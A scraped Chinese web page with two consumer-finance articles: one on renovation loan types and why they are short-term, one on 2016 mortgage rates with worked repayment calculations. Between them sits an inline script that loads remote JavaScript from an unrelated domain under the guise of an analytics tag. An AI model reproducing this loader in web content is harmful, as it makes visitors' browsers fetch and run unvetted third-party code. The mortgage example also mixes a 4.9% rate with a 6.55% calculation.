装修贷款可以贷20年吗？答案是否定的

随着房价的水涨船高，买房、装修房的花费越来越成为人们生命不可承担之重。装修贷款和住房贷款一样，都是这种情形下衍生的产物，是将未来可预见的收益流水用于今日的大笔花销，起到分担压力的作用。时间越长，压力分割得越小。那么，装修贷款可以贷20年吗？答案是否定的。装修贷款是以住房装修为唯一目的而发放的贷款，贷款方式很多。按照有无担保可分为：个人住房装修贷款，这是一种需要提供担保或保证的贷款，比如资产抵押，或是保证人的连带责任保证。个人无抵押贷款，顾名思义，这是一种无需提供担保和保证的贷款，凭个人信用就可得。按照放贷主体不同也可分为：消费金融公司装修贷款，装修贷款由消费金融公司发放。银行装修贷款，发放装修贷款的主体为银行。这几种装修贷款各有利弊。银行装修贷款利率较低，但门槛较高，且合同标准化，可协商余地小。消费金融公司装修贷款利率较高，但门槛较低，处理灵活，可协商余地大。个人有抵押装修贷款，一般就以该房产为抵押，额度大，但风险对贷款人而言相应地也高。个人信用装修贷款，凭借自身信用就可以获得贷款，风险对贷款人而言相对较小，但额度相应地也低一些。这几种装修贷款在程序上颇为相似。首先由贷款人提出书面申请，然后是对资料的审查，接着由放贷主体进行审批，决定贷款发放后，签订合同、开通账户即可。装修贷款可以贷20年吗？以上不管是属于哪一种类型的装修贷款，具体内容可能不同，但一般都为短期贷款，对于问题"装修贷款可以贷20年吗？"，答案通通是否定的。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

2016年房贷利率是多少 介绍以及计算方法

买房相信是不少朋友，尤其是即将步入婚姻殿堂的年轻一族的大事，但是面对如今市面上高涨的房价，我们很难能够轻松面对。几乎不可能一次性付清所有房款，因此大家都会考虑申请相关的房贷，那么关于房贷，我们要考虑的除了利率问题以外，还包括往后每年需要偿还的本金利息计算问题，这需要大家掌握相关的专业知识，如此才可以较好的节省成本。一、2016年买房贷款的利息是多少?2015年10月24日后申请房贷的可按最新的4.9%利率(5年至30年)计算。公积金方面，由于2015年10月24日的降息中，个人住房公积金贷款利率未作调整，公积金贷款利率今年经历了4次下调，五年以上个人住房公积金的贷款利率，从年初的4.25%降低到了目前的3.25%。而在银行没有进一步的调整之前2016年买房贷款利率仍是如此!由于银行多数按照次年调息来执行，所以很多在贷款利率调整之前就已经贷款的朋友，在2016年1月1日开始，买房贷款利率会调整为最新利率。例：一套房子，100平方，10000每平方，首付三成，按揭贷款20年，月供多少，总利息多少?可知房价总共是100万，首付30万，按揭70万，20年期限。按照如今基准利率6.55%，小编为大家介绍一下两种还贷计算方式：等额本息以及等额本金。二、2016年买房贷款的利息怎么计算?1、等额本息法：计算公式月还款额=本金*月利率*[(1+月利率)^n/[(1+月利率)^n-1]式中n表示贷款月数，^n表示n次方，如^240，表示240次方(贷款20年、240个月)月利率=年利率/12总利息=月还款额*贷款月数-本金经计算：月还款额为5239.64元(每月相同)。还款总额为1257513.09元，总利息为557513.09元。2、等额本金法：计算公式月还款额=本金/n+剩余本金*月利率总利息=本金*月利率*(贷款月数/2+0.5)经计算：第一个月还款额为6737.50元(以后逐月减少，越还越少)，最后一个月还款额为2932.59元。还款总额为1160410.42元，总利息为460410.42元。以上两种方法相比较，等额本金法比等额本息法少还97102.66元。采取哪种方法还款，借款人在银行办理贷款手续时可以选择。关于2016年的贷款房贷，我们为大家介绍的就是利率信息和计算方法步骤两个板块的内容，除了相比较于往年更加不容乐观的购房现状以外，我们还了解到事先掌握相关的必要信息也是十分有益的。这不仅可以尽可能节省大家的购房成本，也可以减免许多不必要的麻烦。比如就还贷选择上，有时候等额本金法比等额本息法更为划算，这需要我们进行甄别。